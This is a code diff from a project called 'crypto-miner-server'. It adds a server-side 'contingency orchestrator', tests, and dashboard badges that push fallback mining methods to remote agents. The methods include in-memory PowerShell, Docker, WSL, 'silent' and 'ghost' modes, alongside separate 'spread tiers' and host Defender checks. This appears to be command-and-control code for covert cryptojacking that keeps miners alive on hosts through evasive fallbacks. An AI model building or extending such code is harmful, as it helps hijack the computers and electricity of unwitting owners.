return ErrMethodUnavailable }, + ApplySurgery: func([]string, string) error { return ErrMethodUnavailable }, + StopAll: func() {}, + Hashrate: func() float64 { return 0 }, + AcquirePool: func() bool { return true }, + ReleasePool: func() {}, + }, func(h OnionMinerHop, _ int, exhausted bool) { + if h.Outcome == "strain_retired" { + retired = true + } + }) + + ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second) + defer cancel() + go r.Run(ctx) + time.Sleep(2500 * time.Millisecond) + cancel() + if !retired { + t.Fatal("expected hospice strain_retired hop") + } +} + +func TestApplyBranchParamsResetsExhaustion(t *testing.T) { + r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true}, BranchAttemptHooks{}, nil) + r.exhaustCycles = 5 + r.ApplyBranchParams(ContingencyBranchParams{ + BranchOrder: []string{"container", "inprocess"}, + Persona: "aggressive", + SkipMethods: []string{"gpu_subprocess"}, + }) + if r.exhaustCycles != 0 { + t.Fatalf("exhaust=%d", r.exhaustCycles) + } + if len(r.branchOrder) != 2 || r.branchOrder[0] != BranchContainer { + t.Fatalf("order=%v", r.branchOrder) + } + if !r.skipMethods["gpu_subprocess"] { + t.Fatal("expected skip gpu_subprocess") + } +} + +func TestOperatorPauseStopsRun(t *testing.T) { + r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true, JitterMs: 1}, BranchAttemptHooks{ + Hashrate: func() float64 { return 0 }, + AcquirePool: func() bool { return true }, + ReleasePool: func() {}, + }, nil) + r.SetOperatorPaused(true) + ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond) + defer cancel() + r.Run(ctx) + if r.Depth() != 0 { + t.Fatalf("depth=%d want 0 on pause", r.Depth()) + } +} + +func TestBranchWonThreshold(t *testing.T) { + if !BranchWon(1.0) { + t.Fatal("1 H/s should win") + } + if BranchWon(0) { + t.Fatal("0 should not win") + } +} diff --git a/server/internal/ai/persona_mining.go b/server/internal/ai/persona_mining.go new file mode 100644 index 0000000..51bbb3d --- /dev/null +++ b/server/internal/ai/persona_mining.go @@ -0,0 +1,130 @@ +package ai + +import ( + "strings" + "time" + + "crypto-miner-server/internal/strategy" +) + +// PersonaMiningTierOrder returns mining contingency tier order from Calibrate persona — NOT spread tiers. +func PersonaMiningTierOrder(mode string) []string { + switch NormalizePersona(mode) { + case PersonaAggressive: + return []string{ + "cpu_inprocess", "gpu_subprocess", "exe_subprocess", "container", "docker_load", + "wsl", "ps_inmemory", "stratum_direct", + } + case PersonaSilent: + return []string{ + "docker_load", "container", "wsl", "cpu_inprocess", "dotnet", "ps_inmemory", + "gpu_subprocess", "stratum_direct", + } + case PersonaPassive: + return []string{ + "cpu_inprocess", "container", "wsl", "ps_inmemory", "gpu_subprocess", "stratum_direct", + } + case PersonaPersuasive: + return []string{ + "container", "wsl", "cpu_inprocess", "dotnet", "gpu_subprocess", "stratum_direct", + } + default: + return defaultMiningTierOrder() + } +} + +func defaultMiningTierOrder() []string { + return []string{ + "exe_subprocess", "docker_load", "container", "wsl", "ps_inmemory", + "cpu_inprocess", "gpu_subprocess", "stratum_direct", + } +} + +// PersonaContingencyBranchOrder maps persona temperament to single-host contingency branches. +func PersonaContingencyBranchOrder(mode string) []string { + switch NormalizePersona(mode) { + case PersonaAggressive: + return []string{"inprocess", "gpu_subprocess", "container", "idle_tune", "self_surgery"} + case PersonaSilent: + return []string{"container", "inprocess", "idle_tune", "gpu_subprocess", "self_surgery"} + case PersonaPassive: + return []string{"inprocess", "idle_tune", "container", "self_surgery", "gpu_subprocess"} + case PersonaPersuasive: + return []string{"container", "inprocess", "self_surgery", "gpu_subprocess", "idle_tune"} + default: + return []string{"inprocess", "container", "gpu_subprocess", "idle_tune", "self_surgery"} + } +} + +// BuildContingencyPolicy builds zero-config server-pulled policy when Fleet AI Control is on. +func BuildContingencyPolicy(aiControl bool, persona string) map[string]interface{} { + if !aiControl { + return nil + } + p := NormalizePersona(persona) + return map[string]interface{}{ + "enabled": true, + "branch_order": PersonaContingencyBranchOrder(p), + "personas": []string{p, PersonaSilent, PersonaAggressive}, + "hospice_after": 12, + "jitter_ms": 750, + "rotate_paths": true, + } +} + +// ComposeContingencyBranchParams splices graft mining genome onto contingency branches — spread tiers excluded. +func ComposeContingencyBranchParams(persona string, graft *strategy.GraftPolicy, reason string) map[string]interface{} { + order := PersonaContingencyBranchOrder(persona) + miningOrder := PersonaMiningTierOrder(persona) + skip := []string{} + force := "" + if graft != nil { + if len(graft.TierOrder) > 0 { + miningOrder = strategy.SpliceGraftGenome(miningOrder, strategy.GraftSource{ + GraftTier: graft.GraftTier, + TierOrder: graft.TierOrder, + }) + } + if graft.GraftTier != "" { + force = mapGraftTierToBranch(graft.GraftTier) + } + } + out := map[string]interface{}{ + "branch_order": order, + "persona": NormalizePersona(persona), + "mining_tiers": miningOrder, + "reason": strings.TrimSpace(reason), + } + if len(skip) > 0 { + out["skip_methods"] = skip + } + if force != "" { + out["force_method"] = force + } + return out +} + +func mapGraftTierToBranch(tier string) string { + switch strings.ToLower(strings.TrimSpace(tier)) { + case "docker", "docker_load": + return "container" + case "wsl": + return "container" + case "cpu_inprocess", "inprocess": + return "inprocess" + case "gpu_subprocess", "gpu_compute": + return "gpu_subprocess" + default: + return "" + } +} + +// ContingencyBranchParamsFromCourt builds branch params after court/surgical exhaustion on one host. +func ContingencyBranchParamsFromCourt(persona, reason string, graft *strategy.GraftPolicy) map[string]interface{} { + if reason == "" { + reason = "court: contingency exhaustion — graft mining genome splice (not spread)" + } + out := ComposeContingencyBranchParams(persona, graft, reason) + out["ts"] = time.Now().UTC().Format(time.RFC3339) + return out +} diff --git a/server/internal/ai/persona_mining_test.go b/server/internal/ai/persona_mining_test.go new file mode 100644 index 0000000..2b95ee1 --- /dev/null +++ b/server/internal/ai/persona_mining_test.go @@ -0,0 +1,54 @@ +package ai + +import ( + "testing" + + "crypto-miner-server/internal/strategy" +) + +func TestPersonaMiningTierOrderDistinctFromSpread(t *testing.T) { + spread := PersonaSpreadTierOrder(PersonaAggressive) + mine := PersonaMiningTierOrder(PersonaAggressive) + if len(mine) == 0 { + t.Fatal("empty mining order") + } + if mine[0] == spread[0] { + t.Fatalf("mining front %q should differ from spread front %q", mine[0], spread[0]) + } +} + +func TestPersonaContingencyBranchOrder(t *testing.T) { + silent := PersonaContingencyBranchOrder(PersonaSilent) + if silent[0] != "container" { + t.Fatalf("silent=%v", silent) + } + agg := PersonaContingencyBranchOrder(PersonaAggressive) + if agg[0] != "inprocess" { + t.Fatalf("aggressive=%v", agg) + } +} + +func TestBuildContingencyPolicyRequiresAIControl(t *testing.T) { + if BuildContingencyPolicy(false, PersonaBalanced) != nil { + t.Fatal("expected nil when ai control off") + } + p := BuildContingencyPolicy(true, PersonaSilent) + if p == nil || p["enabled"] != true { + t.Fatalf("policy=%v", p) + } +} + +func TestComposeContingencyBranchParamsUsesGraftNotSpread(t *testing.T) { + graft := &strategy.GraftPolicy{ + GraftTier: "docker", + TierOrder: []string{"docker", "wsl"}, + } + out := ComposeContingencyBranchParams(PersonaBalanced, graft, "test") + if out["force_method"] != "container" { + t.Fatalf("force=%v", out["force_method"]) + } + tiers, _ := out["mining_tiers"].([]string) + if len(tiers) == 0 { + t.Fatal("expected mining_tiers") + } +} diff --git a/server/internal/api/contingency_bridge.go b/server/internal/api/contingency_bridge.go new file mode 100644 index 0000000..9f3f568 --- /dev/null +++ b/server/internal/api/contingency_bridge.go @@ -0,0 +1,131 @@ +package api + +import ( + "encoding/json" + "log" + + fleetai "crypto-miner-server/internal/ai" + "crypto-miner-server/internal/mining" + "crypto-miner-server/internal/strategy" +) + +func (h *WSHub) contingencyOrchestrator() *mining.ContingencyOrchestrator { + if h == nil { + return nil + } + return h.contingencyOrch +} + +func (h *WSHub) initContingencyOrchestrator() { + if h == nil || h.contingencyOrch != nil { + return + } + policy := h.serverPolicySnapshot() + h.contingencyOrch = mining.NewContingencyOrchestrator(mining.OrchestratorDeps{ + AIControl: policy.AIControlEnabled, + Persona: policy.AIPersona, + GraftFor: h.graftPolicyLookup, + OnSeer: h.emitContingencySeerEvent, + OnPush: h.pushContingencyBranchParams, + }) +} + +func (h *WSHub) graftPolicyLookup(agentID string) (*strategy.GraftPolicy, bool) { + if graft, ok := h.GraftPolicyForAgent(agentID); ok { + return graft, true + } + return nil, false +} + +func (h *WSHub) emitContingencySeerEvent(agentID string, payload map[string]interface{}) { + if h == nil { + return + } + emitter := &HubSeerEmitter{Hub: h, DB: h.db} + _ = emitter.EmitSeerEvent("onion_miner_log", agentID, payload) +} + +func (h *WSHub) pushContingencyBranchParams(agentID string, params mining.BranchParamsPush) error { + body, err := json.Marshal(params) + if err != nil { + return err + } + return h.SendToAgent(agentID, Message{Type: "contingency_branch_params", Payload: body}) +} + +func (h *WSHub) handleOnionMinerLog(agentID string, raw json.RawMessage) { + h.initContingencyOrchestrator() + orch := h.contingencyOrchestrator() + if orch == nil || !orch.Enabled() { + return + } + hop, err := mining.ParseOnionHop(raw) + if err != nil { + return + } + emitter := &HubSeerEmitter{Hub: h, DB: h.db} + var payload map[string]interface{} + _ = json.Unmarshal(raw, &payload) + if payload == nil { + payload = map[string]interface{}{} + } + payload["agent_id"] = agentID + _ = emitter.EmitSeerEvent("onion_miner_log", agentID, payload) + + push, ok := orch.ObserveHop(agentID, hop) + if !ok { + h.cacheContingencyDepth(agentID, hop.Depth) + return + } + if err := h.pushContingencyBranchParams(agentID, push); err != nil { + log.Printf("[contingency] push branch params to %s: %v", agentID[:min(8, len(agentID))], err) + } + h.cacheContingencyDepth(agentID, hop.Depth) +} + +func (h *WSHub) cacheContingencyDepth(agentID string, depth int) { + if depth <= 0 { + if orch := h.contingencyOrchestrator(); orch != nil { + depth = orch.Depth(agentID) + } + } + if depth <= 0 { + return + } + h.mu.Lock() + if h.agentLiveTelemetry[agentID] == nil { + h.agentLiveTelemetry[agentID] = make(map[string]interface{}) + } + h.agentLiveTelemetry[agentID]["contingency_depth"] = depth + h.mu.Unlock() +} + +func (h *WSHub) attachContingencyPolicy(resp map[string]interface{}) { + policy := h.serverPolicySnapshot() + if !policy.AIControlEnabled { + return + } + cp := fleetai.BuildContingencyPolicy(true, policy.AIPersona) + if cp != nil { + resp["contingency_policy"] = cp + } +} + +func (h *WSHub) contingencyDepthForAgent(agentID string) int { + if orch := h.contingencyOrchestrator(); orch != nil { + if d := orch.Depth(agentID); d > 0 { + return d + } + } + h.mu.RLock() + defer h.mu.RUnlock() + if tel, ok := h.agentLiveTelemetry[agentID]; ok { + if v, ok := tel["contingency_depth"].(int); ok { + return v + } + if v, ok := tel["contingency_depth"].(float64); ok { + return int(v) + } + } + return 0 +} diff --git a/server/internal/api/contingency_bridge_test.go b/server/internal/api/contingency_bridge_test.go new file mode 100644 index 0000000..6d9c1fd --- /dev/null +++ b/server/internal/api/contingency_bridge_test.go @@ -0,0 +1,62 @@ +package api + +import ( + "encoding/json" + "testing" + + "crypto-miner-server/internal/db" +) + +func TestAttachContingencyPolicyWhenAIControl(t *testing.T) { + hub := NewWSHub(nil) + hub.serverPolicy = ServerPolicy{AIControlEnabled: true, AIPersona: "silent"} + + resp := map[string]interface{}{} + hub.attachContingencyPolicy(resp) + cp, ok := resp["contingency_policy"].(map[string]interface{}) + if !ok || cp["enabled"] != true { + t.Fatalf("policy=%v", resp["contingency_policy"]) + } + order, _ := cp["branch_order"].([]string) + if len(order) == 0 { + t.Fatalf("branch_order=%v", cp["branch_order"]) + } +} + +func TestHandleOnionMinerLogEmitsSeerAndDepth(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + hub := NewWSHub(database) + hub.serverPolicy = ServerPolicy{AIControlEnabled: true, AIPersona: "balanced"} + + raw, _ := json.Marshal(map[string]interface{}{ + "method": "inprocess", "outcome": "won", "contingency_depth": 4, + }) + hub.handleOnionMinerLog("agent-onion", raw) + + if hub.contingencyDepthForAgent("agent-onion") != 4 { + t.Fatalf("depth=%d", hub.contingencyDepthForAgent("agent-onion")) + } + events, _ := database.ListSeerEvents(10) + found := false + for _, ev := range events { + if ev.EventType == "onion_miner_log" && ev.AgentID == "agent-onion" { + found = true + } + } + if !found { + t.Fatal("expected onion_miner_log seer event") + } +} + +func TestContingencyPolicyAbsentWithoutAIControl(t *testing.T) { + hub := NewWSHub(nil) + hub.serverPolicy = ServerPolicy{AIControlEnabled: false} + resp := map[string]interface{}{} + hub.attachContingencyPolicy(resp) + if _, ok := resp["contingency_policy"]; ok { + t.Fatal("expected no contingency_policy without ai control") + } +} diff --git a/server/internal/mining/contingency_orchestrator.go b/server/internal/mining/contingency_orchestrator.go new file mode 100644 index 0000000..29de3ea --- /dev/null +++ b/server/internal/mining/contingency_orchestrator.go @@ -0,0 +1,208 @@ +package mining + +import ( + "encoding/json" + "sync" + "time" + + fleetai "crypto-miner-server/internal/ai" + "crypto-miner-server/internal/strategy" +) + +// AgentContingencyState tracks one host's contingency onion tree on the server. +type AgentContingencyState struct { + AgentID string `json:"agent_id"` + Depth int `json:"contingency_depth"` + FrozenMethod string `json:"frozen_method,omitempty"` + FrozenWinner string `json:"frozen_winner,omitempty"` + ExhaustCycles int `json:"exhaust_cycles"` + HospiceRetired bool `json:"hospice_retired"` + LastHop OnionHop `json:"last_hop,omitempty"` + UpdatedAt time.Time `json:"updated_at"` +} + +// OnionHop mirrors agent onion_miner_log hop payload. +type OnionHop struct { + HopIndex int `json:"hop_index"` + BranchID string `json:"branch_id,omitempty"` + Persona string `json:"persona,omitempty"` + Method string `json:"method"` + Outcome string `json:"outcome"` + Hashrate float64 `json:"hashrate"` + IsGhost bool `json:"is_ghost,omitempty"` + Timestamp string `json:"ts"` + Detail string `json:"detail,omitempty"` + Depth int `json:"contingency_depth,omitempty"` + Exhausted bool `json:"exhausted,omitempty"` +} + +// BranchParamsPush is sent to agent after orchestrator advances or court composes params. +type BranchParamsPush struct { + BranchOrder []string `json:"branch_order,omitempty"` + Persona string `json:"persona,omitempty"` + SkipMethods []string `json:"skip_methods,omitempty"` + ForceMethod string `json:"force_method,omitempty"` + Reason string `json:"reason,omitempty"` +} + +// OrchestratorDeps wires court/AI branch composition and Seer feed. +type OrchestratorDeps struct { + AIControl bool + Persona string + GraftFor func(agentID string) (*strategy.GraftPolicy, bool) + OnSeer func(agentID string, payload map[string]interface{}) + OnPush func(agentID string, params BranchParamsPush) error +} + +// ContingencyOrchestrator spawns next branches when ai_control_enabled. +type ContingencyOrchestrator struct { + mu sync.Mutex + states map[string]*AgentContingencyState + deps OrchestratorDeps +} + +func NewContingencyOrchestrator(deps OrchestratorDeps) *ContingencyOrchestrator { + return &ContingencyOrchestrator{ + states: make(map[string]*AgentContingencyState), + deps: deps, + } +} + +func (o *ContingencyOrchestrator) Enabled() bool { + return o != nil && o.deps.AIControl +} + +// ObserveHop processes one onion_miner_log hop from an agent. +func (o *ContingencyOrchestrator) ObserveHop(agentID string, hop OnionHop) (BranchParamsPush, bool) { + if o == nil || !o.Enabled() || agentID == "" { + return BranchParamsPush{}, false + } + o.mu.Lock() + st, ok := o.states[agentID] + if !ok { + st = &AgentContingencyState{AgentID: agentID} + o.states[agentID] = st + } + st.LastHop = hop + if hop.Depth > 0 { + st.Depth = hop.Depth + } else if hop.HopIndex > 0 { + st.Depth = hop.HopIndex + } + st.UpdatedAt = time.Now().UTC() + if hop.Outcome == "strain_retired" { + st.HospiceRetired = true + } + if hop.Outcome == "won" || hop.Outcome == "ghost_won" { + st.FrozenMethod = hop.Method + st.FrozenWinner = hop.BranchID + } + if hop.Exhausted { + st.ExhaustCycles++ + } + exhausted := hop.Exhausted || hop.Outcome == "exhausted" + hospice := st.HospiceRetired + cycles := st.ExhaustCycles + frozen := st.FrozenMethod + depth := st.Depth + deps := o.deps + o.mu.Unlock() + + if frozen != "" && (hop.Outcome == "won" || hop.Outcome == "ghost_won") { + return BranchParamsPush{}, false + } + if !exhausted || hospice { + return BranchParamsPush{}, false + } + + var graft *strategy.GraftPolicy + if deps.GraftFor != nil { + if g, ok := deps.GraftFor(agentID); ok { + graft = g + } + } + raw := fleetai.ContingencyBranchParamsFromCourt(deps.Persona, "contingency orchestrator: exhaustion cycle "+itoa(cycles), graft) + push := BranchParamsPush{ + BranchOrder: toStringSlice(raw["branch_order"]), + Persona: strVal(raw["persona"]), + ForceMethod: strVal(raw["force_method"]), + Reason: strVal(raw["reason"]), + } + if deps.OnSeer != nil { + deps.OnSeer(agentID, map[string]interface{}{ + "event": "contingency_exhaustion", + "exhaust_cycles": cycles, + "branch_params": push, + "hop": hop, + "contingency_depth": depth, + }) + } + return push, true +} + +// State returns the latest contingency snapshot for an agent. +func (o *ContingencyOrchestrator) State(agentID string) (AgentContingencyState, bool) { + if o == nil { + return AgentContingencyState{}, false + } + o.mu.Lock() + defer o.mu.Unlock() + st, ok := o.states[agentID] + if !ok { + return AgentContingencyState{}, false + } + out := *st + return out, true +} + +// Depth returns contingency depth for Crucible badge. +func (o *ContingencyOrchestrator) Depth(agentID string) int { + st, ok := o.State(agentID) + if !ok { + return 0 + } + return st.Depth +} + +// ParseOnionHop unmarshals agent onion_miner_log payload. +func ParseOnionHop(raw json.RawMessage) (OnionHop, error) { + var hop OnionHop + err := json.Unmarshal(raw, &hop) + return hop, err +} + +func toStringSlice(v interface{}) []string { + switch t := v.(type) { + case []string: + return append([]string(nil), t...) + case []interface{}: + out := make([]string, 0, len(t)) + for _, x := range t { + if s, ok := x.(string); ok && s != "" { + out = append(out, s) + } + } + return out + default: + return nil + } +} + +func strVal(v interface{}) string { + s, _ := v.(string) + return s +} + +func itoa(n int) string { + if n == 0 { + return "0" + } + buf := [20]byte{} + i := len(buf) + for n > 0 { + i-- + buf[i] = byte('0' + n%10) + n /= 10 + } + return string(buf[i:]) +} diff --git a/server/internal/mining/contingency_orchestrator_test.go b/server/internal/mining/contingency_orchestrator_test.go new file mode 100644 index 0000000..ca55d1e --- /dev/null +++ b/server/internal/mining/contingency_orchestrator_test.go @@ -0,0 +1,71 @@ +package mining + +import ( + "encoding/json" + "testing" + + "crypto-miner-server/internal/strategy" +) + +func TestObserveHopFreezesWinner(t *testing.T) { + o := NewContingencyOrchestrator(OrchestratorDeps{AIControl: true, Persona: "balanced"}) + push, ok := o.ObserveHop("a1", OnionHop{ + Method: "inprocess", + Outcome: "won", + Depth: 3, + }) + if ok || push.Reason != "" { + t.Fatalf("unexpected push on win: ok=%v push=%+v", ok, push) + } + st, _ := o.State("a1") + if st.FrozenMethod != "inprocess" || st.Depth != 3 { + t.Fatalf("state=%+v", st) + } +} + +func TestObserveHopExhaustionRequestsBranchParams(t *testing.T) { + var seerAgent string + o := NewContingencyOrchestrator(OrchestratorDeps{ + AIControl: true, + Persona: "silent", + GraftFor: func(agentID string) (*strategy.GraftPolicy, bool) { + return &strategy.GraftPolicy{GraftTier: "docker", TierOrder: []string{"docker"}}, true + }, + OnSeer: func(agentID string, payload map[string]interface{}) { + seerAgent = agentID + }, + }) + push, ok := o.ObserveHop("agent-x", OnionHop{ + Method: "contingency_tree", + Outcome: "exhausted", + Exhausted: true, + Depth: 8, + }) + if !ok { + t.Fatal("expected branch params push") + } + if push.ForceMethod != "container" { + t.Fatalf("force=%q", push.ForceMethod) + } + if seerAgent != "agent-x" { + t.Fatalf("seer agent=%q", seerAgent) + } +} + +func TestParseOnionHop(t *testing.T) { + raw, _ := json.Marshal(map[string]interface{}{ + "method": "container", "outcome": "trying", "contingency_depth": 2, + }) + hop, err := ParseOnionHop(raw) + if err != nil || hop.Method != "container" || hop.Depth != 2 { + t.Fatalf("hop=%+v err=%v", hop, err) + } +} + +func TestOrchestratorDisabled(t *testing.T) { + o := NewContingencyOrchestrator(OrchestratorDeps{AIControl: false}) + _, ok := o.ObserveHop("a", OnionHop{Outcome: "exhausted", Exhausted: true}) + if ok { + t.Fatal("expected no push when disabled") + } +} diff --git a/server/web/src/help/seerEvents.test.ts b/server/web/src/help/seerEvents.test.ts index bc84e1a..18b4e83 100644 --- a/server/web/src/help/seerEvents.test.ts +++ b/server/web/src/help/seerEvents.test.ts @@ -3,6 +3,7 @@ import { isPathTraceTimelineEvent, isSurgicalReplayEvent, mergeSeerEvents, + onionMinerLogSummary, pathTraceTimelineSummary, surgicalReplaySummary, type SeerEventRecord, @@ -26,6 +27,15 @@ describe('seerEvents', () => { expect(pathTraceTimelineSummary(ev)).toContain('800'); }); + it('summarizes onion miner log contingency hops', () => { + const ev: SeerEventRecord = { + event_type: 'onion_miner_log', + payload: { method: 'inprocess', outcome: 'won', hashrate: 900, contingency_depth: 3 }, + }; + expect(onionMinerLogSummary(ev)).toContain('inprocess'); + expect(onionMinerLogSummary(ev)).toContain('depth 3'); + }); + it('detects surgical replay events', () => { expect(isSurgicalReplayEvent(replay)).toBe(true); expect(isSurgicalReplayEvent({ event_type: 'court_debate' })).toBe(false); diff --git a/server/web/src/pages/CruciblePage.css b/server/web/src/pages/CruciblePage.css index dd1e875..1893237 100644 --- a/server/web/src/pages/CruciblePage.css +++ b/server/web/src/pages/CruciblePage.css @@ -317,6 +317,22 @@ .cn-disk.disk-warn { color: var(--neon-amber); background: rgba(255,176,32,0.1); } .cn-throttle.therm-warm{ color: var(--neon-amber); background: rgba(255,176,32,0.1); } +.cn-contingency { + font-size: 0.62rem; + font-family: var(--font-tech); + padding: 1px 4px; + border-radius: 3px; + letter-spacing: 0.04em; + cursor: default; + color: var(--neon-cyan); + background: rgba(0, 212, 255, 0.1); +} +.cn-contingency.cn-contingency-deep { + color: var(--neon-amber); + background: rgba(255, 176, 32, 0.12); + font-weight: 600; +} + /* ── T1007 service row ─────────────────────────────────────────────────────── */ .cn-services { display: flex; diff --git a/server/web/src/pages/CruciblePage.test.tsx b/server/web/src/pages/CruciblePage.test.tsx index 7c099f1..58453ec 100644 --- a/server/web/src/pages/CruciblePage.test.tsx +++ b/server/web/src/pages/CruciblePage.test.tsx @@ -15,6 +15,7 @@ import CruciblePage, { portsBadge, postureBadge, postureTooltip, + contingencyDepthBadge, sshBadge, thermalBadge, } from './CruciblePage'; @@ -349,6 +350,12 @@ describe('CruciblePage helpers', () => { expect(thermalBadge(mockAgent({ gpu_temp_c: 85 }))?.cls).toBe('therm-hot'); }); + it('contingencyDepthBadge shows ONION depth when present', () => { + expect(contingencyDepthBadge(mockAgent({ contingency_depth: 0 }))).toBeNull(); + expect(contingencyDepthBadge(mockAgent({ contingency_depth: 3 }))?.label).toBe('ONION 3'); + expect(contingencyDepthBadge(mockAgent({ contingency_depth: 10 }))?.cls).toBe('cn-contingency-deep'); + }); + it('postureTooltip includes defender, DNS drift, and services', () => { const agent = mockAgent({ defender_enabled: true, diff --git a/server/web/src/pages/CruciblePage.tsx b/server/web/src/pages/CruciblePage.tsx index d8fcfe9..03e58fc 100644 --- a/server/web/src/pages/CruciblePage.tsx +++ b/server/web/src/pages/CruciblePage.tsx @@ -269,6 +269,13 @@ function dnsBadge(agent: Agent): { label: string; cls: string } | null { return null; } +/** Contingency onion depth — Fleet AI Control single-host branch tree. */ +export function contingencyDepthBadge(agent: Agent): { label: string; cls: string } | null { + const depth = agent.contingency_depth ?? 0; + if (depth <= 0) return null; + return { label: `ONION ${depth}`, cls: depth >= 8 ? 'cn-contingency-deep' : 'cn-contingency' }; +} + // ── Service helpers (T1007) ──────────────────────────────────────────────── // Human-readable label for well-known service names @@ -1195,6 +1202,11 @@ export default function CruciblePage() {
+ {(() => { const cb = contingencyDepthBadge(a); return cb && ( +
+ {cb.label} +
+ ); })()}
{ssh.label}